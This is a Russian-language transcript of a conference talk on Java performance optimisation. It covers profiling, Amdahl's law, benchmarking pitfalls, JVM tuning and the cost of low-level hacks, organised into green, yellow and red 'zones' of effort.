Обычно всё начинается с того, что люди велосипедят прототип, который медленно, но работает. Он достаточно сложен, потому что мы навелосипедили просто так, чтобы он не разваливался под собственным весом.

После того как начинается оптимизация — потихонечку начинается переписывание разных частей. Находясь в этой зелёной зоне, разработчики обычно берут профайлеры и переписывают куски кода, которые написаны очевидно ужасно. Это одновременно снижает сложность кода (потому что вы выпиливаете плохие куски) и улучшает производительность.

В точке «B» проект достигает некоторого субъективного пика «красоты», когда у нас вроде и перформанс хороший, и в продукте всё неплохо.

Далее, если разработчикам хочется ещё производительности, они переходят в жёлтую зону, когда берут более точный профайлер, пишут хорошие рабочие нагрузки и аккуратненько закручивают гайки. В этом процессе они там делают вещи, которые они бы не делали, если бы не производительность.

Если хочется ещё дальше, то проект приходит в некоторую красную зону, когда разработчики начинают корежить свой продукт, чтобы получить последние проценты производительности. Что делать в этой зоне — не очень понятно. Есть рецепт, по крайней мере, для этой конференции — идёте на JPoint/JokerConf/JBreak и пытаете разработчиков продуктов, как писать код, повторяющий кривизну нижних слоёв. Потому что, как правило, в красной зоне возникают штуки, которые повторяют проблемы, возникающие на нижних слоях.

Остальная часть доклада подробно рассказывает про то, что обычно происходит в этих зонах.

Зелёная зона

Мотивационная карточка зелёной зоны — это борьба с заусенцами в коде грубой силой:



Грубая сила означает, что не надо точных инструментов — просто берём и делаем. В зелёной зоне есть некоторые ментальные ловушки.

Моя любимая звучит так: «Профилировать нормально или никак»:



Я постоянно слышу: «Послушайте доклады Шипилёва, он вам скажет, что профилировать нужно нормально или никак». Я ни разу этого не говорил. Когда вы в зелёной зоне, точность диагностики влияет очень мало. И, вообще говоря, профилировка вам нужна, чтобы понять, какую часть из того «микросервисного монолита», который вы умудрились написать, вам нужно переписать в первую очередь.

Профилирование и диагностика

Если вы посмотрите на блоги разных классных перформансных чуваков, например, Брендана Грегга, он будет показывать такие страшные диаграммы, говорить, что вот такими инструментами можно посмотреть туда-сюда:



Многие говорят, когда смотрят на эти диаграммы: «Перформанс — это очень сложно, и мы не будем этим заниматься». Хотя на самом деле мысль Брендана не об этом. Она о том, что существуют достаточно простые способы быстро оценить, что в приложении происходит. Когда у нас есть хотя бы крупноклеточное понимание, нам гораздо лучше.

Поэтому диагностика в зелёной зоне опирается на очень простую мысль: мы не должны бояться смотреть на наше приложение. Даже крупноклеточное понимание, чего нам из ресурсов не хватает в нашем стеке, уже даст нам некоторую идею о том, на что стоит обращать внимание, а на что — нет. Даже если какую-нибудь полносистемную профилировку сделать, уже будет примерно понятно, где у вас bottleneck.

Профилирование

Наша цель в зелёной зоне — примерно понять, где мы проводим время.



Даже наивный профайлер, который вы можете собрать из палок и желудей, даст вам достаточно информации, чтобы совершать осознанные действия в зелёной зоне.

Если у вас есть продакшн, на который злые админы не дают устанавливать профайлер, можно просто через ssh взять jstack и сделать «while true; do jstack; sleep 1; done». Собрать тысячу этих jstack, агрегировать их. Это и будет «наколеночный» профайлер, который уже даст достаточно понимания, что в вашем продукте плохо.

Даже если вы руками расставите stopwatch-и в продукте и оцените, что в этой части продукта вы проводите 80% времени, а в этой — 20%, — это уже будет лучше, чем просто гадать на кофейной гуще о том, что будет, если мы в случайно попавшемся классе, написанном Васей в 2005 году, что-то поправим.

Измерение производительности

Следующая ментальная ловушка, связанная с профилированием, говорит, что производительность нужно измерять или нормально, или вообще никак.



Я про это постоянно слышу. Но в зелёной зоне улучшения «плюс-минус километр» обычно можно и глазками увидеть. Обычно это говорят в контексте «у вас плохой бенчмарк, он ничего не показывает, потому что он написан плохо, а нужно правильно мерить производительность», а в то же время у вас там грабля, которую видно практически на любом ворклоаде.

Мораль

Мораль очень простая: в зелёной зоне даже тривиальные нагрузочные тесты покажут вам крупные огрехи.



Я видел случаи, когда люди тратят недели на то, чтобы написать нагрузочные тесты на JMeter, вместо того, чтобы положить публичную ссылку в какой-нибудь Twitter и получить кучу народа, который придёт на бета-тестирование и повалит ваше приложение (а вам останется только сидеть с профайлером и смотреть, где же там упало). Даже обычный Apache Bench достаточно хорошо показывает крупные огрехи.

Чем раньше вы в разработке получите эти перформансные данные о крупных огрехах, тем быстрее вы сможете их исправить. Это вам тем более поможет планировать работы по производительности.

Пример-сюрприз

Я как-то недавно взял JDK 9 Early Access и подумал: надо бы попробовать построить мои проекты с ним, вдруг там что-то поменялось!



Я строю, а у меня время компиляции подрастает с 2 минут до 8. Внезапно. Нужно ли мне в такой ситуации писать какой-то аккуратный бенчмарк на это, доказывать, что это действительно регрессия?



Конечно, нет. У меня в билде есть конкретный баг, он воспроизводим. В профайлере можно обнаружить, что там есть call stack, который ведет в известное место в javac. В этом javac находишь исходный код, и там обнаруживается квадратичный цикл.

Нужно ли доказывать, что это проблема, когда у вас есть: а) ворклоад, на котором плохо; б) когда у вас есть профиль, который показывает туда, и в) теоретические размышления, что квадратичный цикл — это плохо? Нет, этого достаточно.

Оптимизация

Ещё одна ментальная ловушка: «Преждевременная оптимизация — корень всего зла».



Кнут, конечно, ещё жив и здравствует. Но я не знаю, насколько ему икается каждый раз, когда кто-то вспоминает эту фразу, потому что её обычно вспоминают неправильно. Кнут говорил о том, что преждевременная оптимизация — корень всего зла в 99,7% случаев, потому что люди не понимают, где им нужно оптимизировать. Когда вы в зелёной зоне, вам всё равно. Вы всё равно переписываете ваш прекрасный код. Профилировка вам нужна для того, чтобы определить, что переписывать в первую очередь.

Какие заходы там есть?

Как правило, улучшение производительности там в основном от переписывания «плохого» кода на «хороший». Но «плохой» и «хороший» — в какой-то степени субъективная вкусовщина. Спроси нескольких программистов: один скажет, что надо вот так, так красиво; а другой скажет: «Что ты тут понаписал!». Всё это, конечно, может быть вкусовщиной, но может быть и выстраданными приемами, в том числе выстраданными вами или Джошуа Блохом, который написал книжку «Effective Java».



Например, эффективные структуры данных. Я знаю проекты, в которых глобальный s/LinkedList/ArrayList/g улучшил производительность без всяких раздумий над. Есть случаи, когда LinkedList быстрее, но эти случаи очень специальные, и их обычно видно невооруженным взглядом.

Можно внезапно обнаружить, что у вас линейный поиск по ArrayList в месте, где можно использовать HashMap. Или у вас итерация по паре keySet и get, который можно поменять на entrySet, или навелосипедили свой bubbleSort и вдруг внезапно оказалось, что туда приходят коллекции по миллиону элементов, и вы там проводите кучу времени, и так далее.

Подитог зелёной зоны

Профилирование — необходимая часть ежедневной разработки.

По-моим наблюдениям, 95% перформансных проблем решается на первых же заходах профилировки. Вне зависимости от того, какой сложности проект, какие бы опытные люди его ни разрабатывали, когда ты показываешь людям первую профилировку их проекта, у них возникает гамма эмоций, в частности, «какие же мы идиоты». Потому что более 90% этих проблем тривиально разрешимы и по идее должны были быть пойманы ещё до коммита.

Если вы — техлид, архитектор, технический директор или занимаете какую-то другую руководящую техническую должность и хотите производительности, то, пожалуйста, сделайте так, чтобы в проекте были четкие инструкции по запуску профилировщиков. Если у вас есть однострочник, или однокнопочник, или у вас есть веб-приложение, у которого есть APM, — то очень хорошо! У девелопера всегда должен быть способ быстро это сделать.

По моему опыту, если вы возьмёте девелопера за руку, каким бы «senior» он ни был, сядете с ними и один раз попрофилируете ваш продукт, это уверенно купирует у него боязнь перформансной работы. У многих людей в голове есть такой блочок о том, что производительность — это сложно, что там есть всякие взаимосвязи между компонентами и прочее. И они не профилируют вообще, потому что сложно — значит, пока не надо. Но когда один раз садишься и проделываешь это с ними, у них снимается этот блок, они начинают профилировать самостоятельно. И те 90% ошибок, которые они могут разрешить до того, как к ним кто-нибудь придет, будет показывать профиль и стыдить их, они исправят заранее.

Причем «возьмите девелопера за руку» — это не значит, что вы загоняете их на конференцию, сажаете их в зал на 1000 человек, выходит докладчик и начинает там в профайлере что-то с умным видом возить. Так не работает. Работает по-другому: вы садитесь с конкретным девелопером на вашем проекте и делаете это на пару.

Жёлтая зона

Жёлтая зона — это усложнение кода в обмен на производительность, когда вы делаете вещи, которые вы бы не делали, если бы вам не хотелось больше производительности.



Ментальные ловушки там тоже есть.

Профилирование и диагностика

Первая ментальная ловушка: «Сейчас мы возьмем профайлер, посмотрим, что где, и как начнем оптимизировать».



Оказывается, в жёлтой зоне цена ошибки возросла: вы теперь производительность получаете, а что-то взамен этого теряете — поддерживаемость, сон разработчиков и так далее. Поэтому вам нужно вносить правильные изменения, которые требуют продвинутой диагностики, и профилировка — это только одна из частей диагностики. Ещё есть бенчмаркинг и прочее.

Обычно, когда люди впиливаются в жёлтую зону и начинают думать, что же оптимизировать, они открывают профайлер и видят это:



И что мы здесь будем оптимизировать? Перепишем на java.nio или скажем, что самый горячий метод — это java.lang.Object.wait, значит, надо разгонять его. Или там Unsafe.park, значит, нужно разгонять его… или SocketInputStream.socketRead0, или socketAccept — значит, нужно срочно переписывать всё на Netty, потому что сеть же видно. Правда, вся эта фигня из JMX, но об этом мы узнаем потом, через 3 месяца разработки. Или там Object.hashCode — скажем, что плохой HotSpot его не оптимизировал, а «вы нам обещали, что всё будет быстро и хорошо, а наш продукт не виноват».

Modus operandi в жёлтой зоне простой: оптимизируя, вы теперь должны будете объяснять, зачем вы это делаете. Может себе, а может и вашему project manager-у.

При этом желательно иметь иметь на руках:

• численные оценки прироста,
  
• и желательно иметь их до того, как вы потратили все ресурсы. А не тогда, когда три месяца разработки прошло, и вы сказали: «Ой, вы знаете, задача заняла три месяца, классно».
  
• Надо иметь понимание, что это самый дешёвый способ, и что этот способ — тот самый, который даст вам улучшение общей производительности.
  

Закон Амдала

Когда людям задаешь задачи на оценку производительности, неискушенные начинают жутко фейлить, потому что людям очень сложно в голове уложить нелинейные зависимости. Одна из таких нелинейных зависимостей — закон Амдала, и к нему приходят обычно следующим образом.

Предположим, у нас есть приложение. У него есть две независимые части: А и В. И мы, например, знаем, что часть А занимает 70% времени и разгоняется в 2 раза, а часть В занимает 30% времени и разгоняется в 6 раз. Можно разогнать только одну из них — ресурсов хватает только на это. Какую из этих систем мы будем разгонять? Если мы даже просто графически их уменьшим, видно:



Часть А работает на 70% общего времени. Лучше оптимизировать часть А, несмотря на то, что мы разгоняем её всего в 2 раза. Влияние на общий перформанс больше.

А если бы я был отдельно стоящим программистом, я бы, наверное, разгонял часть В в 6 раз. В моём недельном отчете эта цифра будет выглядеть гораздо лучше: «Вася разогнал в два раза, а я разогнал в шесть раз, поэтому мне нужно в три раза повысить зарплату».

Закон Амдала выводится следующим образом:



Если у нас есть speedup S, то он по определению — общее время A плюс B, деленное на новое время. Часть B там осталась той же самой, поэтому там «плюс B», а часть А уменьшилась в S_A раз. Если мы введем два обозначения: Part_A и Part_B, которые показывают относительное время частей A и B в этом приложении, то придём к такому выражению:


У этого соотношения есть забавные свойства. Например, если вы S_A устремите в бесконечность, то предел S:


Это не очевидная штука, её нужно несколько раз почувствовать на своей шкуре, чтобы понять. Вам будут показывать через такие вот графики:


… и говорить: если у вас есть приложение, в котором 80% занимает та часть, которая разгоняется, то разгоните её хоть до опупения, но speedup больше, чем в 5 раз, вы не получите.

Это означает, что если к вам приходит вендор базы данных и говорит: мы знаем, что в вашем ворклоаде 50% занимает база данных. Мы вам гарантируем, если вы поменяете ваш текущий солюшн на наш, не изменяя ни строчки кода, то ваш перформанс вырастет в 10 раз. Что вы должны ему на это сказать? (из аудитории) Bull shit!

Едем дальше: есть обобщение закона Амдала. Если мы немножко перевернем эти члены и введем два новых обозначения: p — это speedup A — это то, во сколько мы разогнали конкретную часть А, а альфа — это сколько всего остального есть, то этот закон можно записать вот в такой форме:



Штука в том, что у этих членов появляется некоторый физический смысл. Первый член обычно называется concurrency. Если мы пока проигнорируем второй член — contention — выражение будет означать: во сколько раз мы ускорили часть A, во столько же у нас получился общий speedup. Contention описывает влияние на производительность всего остального, обеспечивающего эту самую асимптоту в законе Амдала. Кстати, если графики этой функции начертить, получатся те же самые кривые, как в законе Амдала:



Однако, как правило, в большинстве приложений закон Амдала в такой форме не действует. Действует более сложный закон, когда туда добавляется ещё один член, который называется coherence, описывающий взаимодействие между компонентами.



Оказывается, если альфа и бета неотрицательные, то у вас нет асимптоты насыщения. У вас есть какой-то пик эффективности, а после этого производительность начинает падать. Многие люди, которые занимаются перформансом, на своей шкуре чувствовали этот закон, пока его не сформулировали как Universal Scalability Law (USL):



Понятия «universal» и «law» здесь использованы в естественно-научном смысле, то есть у него есть как бы теоретическое обоснование, но он не выведен аналитически. Он выведен как закон, который хорошо натягивается на эмпирические данные.

Систем с альфа и бета, равными нулю, не существует, потому есть много случаев, когда вы добавляете ресурсы в систему или что-то оптимизируете, и становится хуже. Например, вы сняли один bottleneck, но уперлись в другой, более тяжелый.

Измерение производительности

Ментальная ловушка с измерением производительности говорит: «Поскольку там всё сложно, а мы не знаем, как всё повлияет на производительность, мы просто находим что-то и смотрим, что нам скажут бенчмарки».



На самом деле перформансное тестирование — дико дорогое, и всё особенно не протестируешь. Перформансные тесты от функциональных отличаются тем, что функциональные (например, юнит-тесты) проходят за 100 миллисекунд или меньше, даже если они пачкой исполняются. С перформансными тестами не всё так гладко. Там тесты проходят от минуты и выше, могут проходить часами. Это означает, что одно изменение может быть протестировано за сотни машинных часов. Если вы делаете кучу коммитов в день, то вам требуется очень большой парк оборудования, чтобы вообще хоть как-то обеспечить проход через тестовую систему.

Перформансные тесты требуют изоляции, иначе они начинают говорить всякую ересь, потому что начинают взаимодействовать друг с другом.

Перформансные тесты, как правило, дают небинарные метрики. Функциональные тесты обычно говорят «PASS» или «FAIL» — бинарные метрики, а перформансные тесты говорят… «67». Хуже того: они говорят не «67», а «67 плюс минус 5». Это кроме всего прочего означает, что ошибки тестирования находятся только после разбора данных, когда вы понимаете, что у вас везде очень всё красиво, а вот здесь, в тёмном углу — данные, которые показывают, что эксперимент был палёный. Это означает, что все остальные данные тоже нужно выбросить и снова потратить сотни машинных часов на новый цикл.

И самое плохое, что бенчмарки вам дают данные-числа, а хочется-то вам результатов — какого-нибудь знания, которое можно достать из этих чисел. И если получение данных хорошо автоматизируется, то часть про извлечение смысла из этих данных, как правило, автоматизируется плохо, поскольку она требует человеческого понимания, что там и как может происходить.

Вывод — в активном проекте практически невозможно протестировать всё. Это означает, что у вас всё равно должны быть в голове некоторые оценки и умение разбираться, куда же копать, не прогоняя все бенчмарки на каждый чих.

Классификация бенчмарков

Многие люди делят бенчмарки на два больших класса: на макробенчмарки и микробенчмарки.



В макробенчмарках, как следует из приставки «макро», мы берём наш большой сайт, приложение или библиотеку целиком, пишем end-to-end тесты и смотрим, сколько же потребовалось времени одному виртуальному юзеру, чтобы купить наши бесконечно ценные товары в интернет-магазине. Нормальный тест.

Микробенчмарки — это маленькие рабочие нагрузки, когда мы берём маленькую часть нашего сайта или библиотеки, делаем маленький изолированный тест и замеряем конкретную часть.

Голоса в голове у разработчика обычно шепчут ему, что макробенчмарк отражает реальный мир, а микробенчмарки — зло.

Смотрите: реальный мир — большой, и макробенчмарк — большой. (заговорщицки) Стало быть, макробенчмарк отражает реальный мир. Поэтому некоторым кажется, что любой макробенчмарк — хороший. Дескать, запустил макробенчмарк — это real world и есть. Это означает, что для любой крутой фичи макробенчмарк даст крутое улучшение, потому что он же «real world». А если макробенчмарк не показывает улучшения, то эта фича плохая. И что для любого крутого бага макробенчмарк даст крутую регрессию, а если нет регрессии, то и бага нет. Это же «real-world», значит, то, что происходит в реальном мире, должно быть и в макробенчмарке.

С микробенчмарками — обратная ситуация. Голоса в голове разработчика подсказывают, что они зло, поэтому их можно игнорировать. Они говорят тебе, что показания микробенчмарка не важны, потому что его можно писать каким угодно, а, значит, регрессия или улучшение на нём ничего не значат. А когда они сталкиваются с реальным миром, приходит мысль, что микробенчмарки пишут враги, чтобы опорочить их продукт. Потому что написать их просто, можно написать какой угодно, значит, можно написать микробенчмарк, благодаря которому мы потом в white paper-е напишем, что наш продукт стал лучше, т.к. на таком ворклоаде он работает лучше.

Жизненный цикл бенчмарков

Если отбросить этот маркетинговый bull shit про микробенчмарки, окажется, что жизненный цикл все бенчмарки проходят примерно одинаково.


Если у вас есть большой бенчмарк — гигабайты кода, в которых дофига библиотек, кода и т.п., обычно он начинается с «невинной» стадии, когда он действительно тестирует многие части вашего продукта, ходит через многие слои и так далее. Допустим, они там занимают примерно одинаковое время. Но потом приходят злые девелоперы и начинают оптимизировать.


Мы начали с макробенчмарка, который покрывает многие части приложения, но в конце жизненного цикла его производительность утыкается в один большой bottleneck, который нам очень сложно разрешить. И это практически случай микробенчмарка, когда у нас есть изолированный тест, который тестирует одну вещь. Такой выродившийся макробенчмарк тоже тестирует только одну вещь.

Но всё же в этом есть некоторые плюсы. Неочевидный плюс следует из закона Амдала.


Возьмем приложение с двумя частями — красной и зелёной, которая оптимизируется. Даже если мы оптимизируем зелёную часть до 0, мы всё равно получим speedup всего лишь в два раза. Но если красная часть будет регрессировать (если мы, допустим, в 2 раза её регрессируем), окажется, что закон Амдала, у которого есть асимптота, превратится в линейную зависимость.


Иными словами, если мы регрессировали маленькую часть в тысячу раз, итоговая метрика тоже в существенное количество раз уменьшится.

Можно на графике это показать следующим образом:



По оси абсцисс у нас speedup конкретной части, а по оси ординат — speedup продукта целиком. В части, где у нас что-то улучшается, у нас есть асимптоты из закона Амдала, а там, где всё ухудшается, у нас практически линейная зависимость.

Проблема с тестированием стоит ещё в том, что эмпирическое перформансное тестирование — шумное. В экспериментах есть систематические и случайные ошибки.



Часто чувствительность теста вам просто может не показать улучшение от конкретного изменения. Если что-то улучшилось в 50 раз, то улучшение в общей системе будет ниже порога чувствительности теста, а если это же регрессировало в 50 раз, будет гораздо лучше видно. Это, кстати, ответ на вопрос, почему, когда вы занимаетесь производительностью, большая часть вещей, которые вы видите в своих автоматических репортах, — это регрессия. Потому что, как правило, тестирование более чувствительно к регрессии, а не к улучшению.

По моим наблюдениям:
Макробенчмарки:

• их мало, они написаны непонятно кем и непонятно как;
  
• сначала показывают интересные результаты, а потом вырождаются в микробенчмарки;
  
• в конце жизни всё равно применимы для регрессионного тестирования.
  

Т.е. сделать перформансное улучшение на макробенчмарках — это душераздирающая история.

Микробенчмарки:

• их тоже много, они тоже написаны непонятно как и непонятно кем, но зато они настолько маленькие, что их можно одним разумом охватить и исправить: понять, что там неправильно, и как-нибудь их модифицировать;
  
• на всех этапах жизненного цикла они показывают интересные результаты;
  
• хорошо реагируют и на регрессию, и на улучшение.
  

Поэтому если мы, к примеру, делаем перформансную оптимизацию, у нас всегда есть корпус микробенчмарков (очень чувствительных ворклоадов), на которых мы делаем изменения и выжимаем максимум. Только потом мы валидируем, что они не регрессировали и улучшили макробенчмарк.

Как вы ни крутитесь, а учиться микробенчмаркать вам придется. Самая интересная мысль состоит в том, что метод «просто возьми какой-нибудь удачный фреймворк и перепиши все ворклоады на нем» не работает, потому что недостаточно просто написать код бенчмарка и получить цифры. Чтобы понять, что происходит, нужно в эти цифры вглядеться, может быть, построить побочные эксперименты, грамотно их провести и проанализировать данные, а потом сделать выводы и построить так называемую перформансную модель — понять, как же ваше приложение или ваш стек реагирует на изменения в коде, конфигурации и так далее. Это вам даст возможность предсказать, что же будет происходить в будущем.

Оптимизация

Обычно, правда, происходит не так. Обычно люди падают в следующую ментальную ловушку:



«Мы попробовали, и оно улучшило метрики — стало не 100 операций в секунду, a 110. Наверное, потому что…» и дальше следует ссылка на какой-нибудь доклад с JPoint. Я, дескать, был на конференции, и там умный чувак сказал, что можно наступить на такую-то граблю. В итоге мы переписали умножение на не умножение, и у нас случился branch prediction или что-нибудь в этом духе (тут, главное, по-наукообразнее, чтоб вернее).

На самом деле часто бывает, что просто повезло с нагрузкой, с компонентом, с фазой луны. Чуть везение пропадёт, всё вернётся на круги своя. Как правило, по отношению к каждому улучшению нужно просматривать следующие варианты (если у меня есть улучшение, нужно понять, к чему оно относится):

1. Это косяк в моём коде, например, алгоритмическая проблема — квадратичный цикл или N^3, который я мог сделать за N log N. Если это косяк в моём коде, я просто делаю перманентное исправление, посыпаю голову пеплом, говорю, что я больше так никогда делать не буду, и всё идёт дальше своим чередом;
   
2. Или это косяк в моём использовании библиотеки или рантайма, о котором я раньше не знал, или знал, но забыл, или знал, но думал, что оно не очень важно. Ну, тогда мы тоже перманентно его исправляем и отправляем PR во внешнюю или внутреннюю документацию о том, что так делать нельзя;
   
3. Или это исправимый косяк в библиотеке или в рантайме. Тогда мы делаем временную заплатку в нашем продукте вокруг него, зарубаем себе на память, что это временная заплатка, чтобы её оттуда снести когда-нибудь;
   
4. Или это неисправимый косяк библиотеки или рантайма, но смигрировать с этой библиотеки или рантайма нам очень дорого. Тогда мы делаем перманентную заплатку, вносим в наши анналы технических логов, что делать нужно только так.
   

Если мы не классифицируем наши изменения по этим категориям, то может статься, что мы сделаем плохую временную заплатку против бага в нижнем слое, тот баг когда-нибудь исправится, и исправления в штатной библиотеке будут лучше, чем наша заплатка. Но мы уже будем платить за обслуживание заплатки, проваленный перформанс по сравнению с конкурентами, которые и не дёргались, и т.д.

Опции JVM

Ещё пример: что будет, если зная, что специальное в нашем приложении, мы подскажем JVM, в каком же режиме работать? Радости там очень простые: механическая симпатия, синергия и всё такое (мы знаем, как тюнить JVM).

На практике, конечно, это происходит иначе. Ты идешь в Google и ищешь: «JVM tuning options». Тебе вываливается такая лыжа:


Ты суешь её в свой конфиг, она действительно что-то улучшает, и ты рисуешь себе звёздочку «я умею тюнить JVM».

Конечно, там есть проблемы. Может статься, что в целом этот блок вам улучшил производительность, но там есть опции, которые в том числе её регрессировали. Если бы вы понимали, что вы делаете, вы могли бы взять всё улучшение, а не только его часть.

Параллелизм

Не важно, что у нас там где написано, мы возьмём parallelStream(), Eexecutor.submit, new Thread, засабмиттим кучу параллельных задач. Нормальная же идея? Радость тут в том, что особенных изменений в коде обычно не надо, если он изначально написан с мыслью о том, что когда-нибудь он будет многониточным.

Но там имеются те же проблемы: есть синхронизация, и непонятно, как она выстрелит на более широких тачках. Есть оверхеды — на мелких задачах вам не нужно параллелить, потому что у вас всё съестся на dispatching задач. Или если у вас есть staging, в котором у вас одинокий Вася тыкает в формочку, и там вам внутренний параллелизм помогает. Ну, например, там какой-нибудь запрос, и вы там внутри его сабмиттите в какой-нибудь мега-Hadoop, который вам параллельно делает MapReduce; и это всё работает быстрее, когда всё параллельно. А потом вы деплоите это в продакшн, и там внезапно оказывается, что у вас 10 000 пользователей, т.е. внутренний параллелизм вообще не нужен — у вас есть куча внешнего параллелизма, который уже и так эксплуатирует все ваши ресурсы.

Структуры данных

Ещё пример. Некоторые думают: «На конференциях мне рассказали, что вообще-то Integer и вообще обёртки над примитивами в Java — дорогая штука, поэтому мы возьмём и перепишем всё на массивы int и так далее».

Конечно, «int-овка — это праздник» в том смысле, что ты берёшь, переписываешь и думаешь, что совершаешь полезные действия. Проблемы, однако, очень большие: ты не знаешь наперёд, сколько у тебя съестся на конверсиях на обертки, сколько у тебя это сожрет времени разработки (выработка всех угловых случаев, конверсия туда-обратно всех коллекций, написание вставок, удалений, тормошений), и ты наверняка пропустишь оптимизации самой JDK в коллекциях и в какой-нибудь Valhalla.

Подитог для жёлтой зоны

Modus operandi: в жёлтой зоне наша главная задача — это поддержание правдоподобной перформансной модели проекта, потому что она говорит нам о том, где же нужно поменять, чтобы было хорошо и мы об этом потом не пожалели. Это необходимое условие развития проекта.

По моим наблюдениям более 50% потенциальных изменений делается не там, где стоит. И промахиваются они обычно по очень простой причине: команды разбиты по компонентам, и они могут быстро сделать изменения в своём компоненте, даже если «по чесноку» надо сделать багфикс в компоненте другой команды.

Как правило, более 80% изменений делается в нужном месте после исследования (а 83% всех статистических данных, как правило, верны).

Умение исследовать и обновлять свои знания о проекте целиком помогает принимать правильные решения. Если у вас команды разделены по компонентам, то имейте, пожалуйста, людей, которые смогут смотреть на этот проект со стороны, которые будут понимать, как компоненты друг с другом связаны и какие изменения делать. Обычно эту роль выполняет архитектор. Но архитекторы, как правило, перегружены, поэтому они нанимают перформансников, которые помогают кормить их данными о том, что происходит в проекте. Таким образом, можно помогать архитектору в голове обновлять эту самую перформансную модель.

Красная зона

Мотивация в красной зоне: когда мы выбрали все разумные способы улучшить производительность, остались неразумные способы. Неразумные способы — это эксплуатация кривизны нижних слоев, грязные хаки, залезания в кишки. Как правило, в абсолютном большинстве проектов туда ходить не надо.


Грамотное техническое руководство, вменяемый техлид, проджект-менеджер или, в конце концов, заботливая мама должны вам сказать: «Туда ходить не надо»!



Основная идея в красной зоне простая — мы хотим улучшить производительность за счет эксплуатации особенностей реализации в нижних слоях.



Например:

• мы обнаруживаем, что в библиотеке, которая нам очень нравится, есть скрытый приватный метод, который делает что-то быстрее. Типичный хак: мы возьмем этот метод через reflection и дернем;
  
• или мы почитаем ход библиотеки и узнаем, что если мы дернем публичные методы в некотором особом порядке (я такое называю API-акупунктурой), то мы переведем этот объект в некоторое, более приемлемое для нас состояние — возможно, будет работать быстрее;
  
• или мы возьмем и просто захачим целые куски приватного API;
  
• или мы начнём эксплуатировать особенности конкретных железок, на которых мы исполняемся, конкретного JDK, который мы таргетим — т.е. заниматься низкоуровневыми оптимизациями.
  

Профилирование и диагностика

Обычно всё оказываются в этой зоне случайно. Когда все возможные варианты выбраны, они говорят себе: «Ну ладно, будем думать, что же делать дальше». И им кажется, что если долго смотреть в профиль, то там можно увидеть решение. Им понятно, что решение будет сложным, значит, нужно долго смотреть.



На самом деле, умение хакать в красной зоне вырастает из понимания взаимодействия движущихся деталей. И вот в этом месте появляются перформансники — это люди, которые всем остальным особенно не занимаются, но умеют копаться во всех слоях сразу. Они — ходячая энциклопедия, у них в голове набор хаков, которые работают в таких-то условиях. Они знают границы их применимости. Самое главное, что это люди, которые не впадают в ступор, когда видят незнакомую хрень, а начинают её изучать.

Если они видят профиль, из которого ничего не ясно, они говорят: «Ну и ладно, отбросим этот профиль, давайте делать эксперименты, которые нам принесут какие-то новые данные». Здесь работает систематический индуктивный способ набора данных. Изучать для них — это не означает нафигачить кусок кода, запостить его на StackOverflow и спрашивать: «У нас тут такая перформансная проблема, что бы это могло быть?» И ждать, пока к ним придут какие-нибудь люди, типа Джона Скита, и будут рассказывать, как и что там нужно сделать. Изучать — значит читать документацию, искать упоминания в статьях, делать эксперименты, выуживать знания из коллег, каким-нибудь образом их систематизировать и так далее. Многие люди приезжают на конференции для этого.

Трюки с конференций

Есть ещё одна ментальная ловушка: «Если долго ездить по конференциям, когда-нибудь на какой-нибудь конференции расскажут трюк, который в нашем проекте даст улучшение в пять раз, и мы тогда отобьем весь бюджет, потраченный на билеты».



На самом деле в конкретном случае спасает один низкоуровневый трюк из тысячи. Его проще найти самостоятельно, чем ждать у моря погоды. Самое забавное, что я вижу в программистской тусовке, так это то, что большая часть обсуждений производительности — она о низкоуровневых хаках:



Как правило, все эти штуки происходят в условиях, когда у программистов в проектах есть простые алгоритмические преобразования, которые многократно могут улучшить производительность. Но поскольку им на конференциях рассказывали, что умный HotSpot как-нибудь компилирует, поэтому нужно свой проект модифицировать, чтобы он хорошо скомпилировался HotSpot-ом, они упускают главное — что на самом деле у них есть изменения, которые они могут найти сами (и сделать это быстро), и это улучшит производительность.

Костыли

Если мы в красной зоне и находим такого рода низкоуровневую разницу, которая на самом деле в большинстве случаев является разницей в реализации оптимизаторов (многие из упомянутых выше случаев на самом деле должны работать одинаково), мы можем захачить. Но хаки должны быть временными заплатками, а не основой нашего проекта.



Как правило, они указывают на проблемы в слое ниже, поскольку слой ниже на самом деле должен предоставить более вменяемую перформансную модель, в которой любой вариант заработает лучше. Если вы будете слушать доклад, в котором вам будут рассказывать про разную низкоуровневую дичь, пожалуйста, не воспринимайте его как руководство к немедленному действию. Этот доклад помогает вам наработать корпус возможных хаков, которые, может быть, когда-нибудь понадобятся, если сильно припрет.

Пример

Есть очень простой пример, который недавно был найден в JDK 9.



Eсть в Java тип ArrayList, у него есть итератор, который реализуется через inner class Itr. У этого класса Itr, поскольку он приватный, есть синтетический так называемый bridge-метод (публичный), чтобы можно было конструктор Itr вызвать. Проблема в том, что если мы зовем Itr, Hotspot-овский инлайнер ломается, поскольку он видит в сигнатуре этого метода классы, которые ещё не загружены.

Где эта ошибка (недооптимизация)? Это ошибка в коде ArrayList-а? Скорее, нет. Это ошибка в коде javac? Скорее, да. Это недооптимизация в коде hotspot-а? Скорее, да. Но проще захачить его прямо в ArrayList, пока компиляторщики не придут в себя и не поймут, как это исправить в компиляторе.



Поэтому там делается такой конструктор без аргументов, там записывается ссылка на баг, почему этот конструктор сделан и т.д.

Подходы к исправлениям

Когда ты долго копаешься в красной зоне, к тебе обычно приходят люди и говорят: «Давайте быстро захачим, и всё будет зашибись». Ментальная ловушка очень простая: они действительно думают, если мы быстро покрутим каким-нибудь хаком, будет здорово.



Практика показывает, что в красной зоне «зашибись» не будет никогда.
В качестве примера (я его вижу постоянно):


Мы обнаружили перформансную проблему в JDK. Вместо того, чтобы её исправить в JDK, мы сказали: «Ну нет. Мы через Unsafe хакнем». А потом оказывается, что Unsafe ушёл, и даже setAccessible() не работает. Поэтому не обманывайте себя. Работая в красной зоне, вы вносите технический долг.


Всегда документируйте, для чего хак выполнен, при каких условиях применим, как проверить, что он больше не нужен, какие upstream-баги вы ждёте и так далее.

Меня на уроках ОБЖ в школе учили накладывать жгут. Я до сих пор вспоминаю эту инструкцию, что ты накладываешь этот жгут выше или ниже раны, в зависимости от того, какого цвета кровь хлещет. Но вспоминаю я из-за отдельного пункта инструкции: после того, как ты жгут наложил на тело своего товарища, ты должен записочку туда вложить, с таймстампом.

Каждый раз, когда я делаю такой хак в нашим коде, у меня в голове именно эта история: я накладываю жгут на больное место в своём коде и должен там написать, что это сделано тогда-то по такой-то причине, потому что есть такой-то баг, и этот жгут можно удалить, только если такие-то условия выполнены. Это дает возможность мне или другим моим коллегам, когда они обнаружили этот код, понять, стоит ли сразу это отпиливать, или, если ты снимешь жгут, это убьёт весь остальной проект (или вашего боевого товарища).

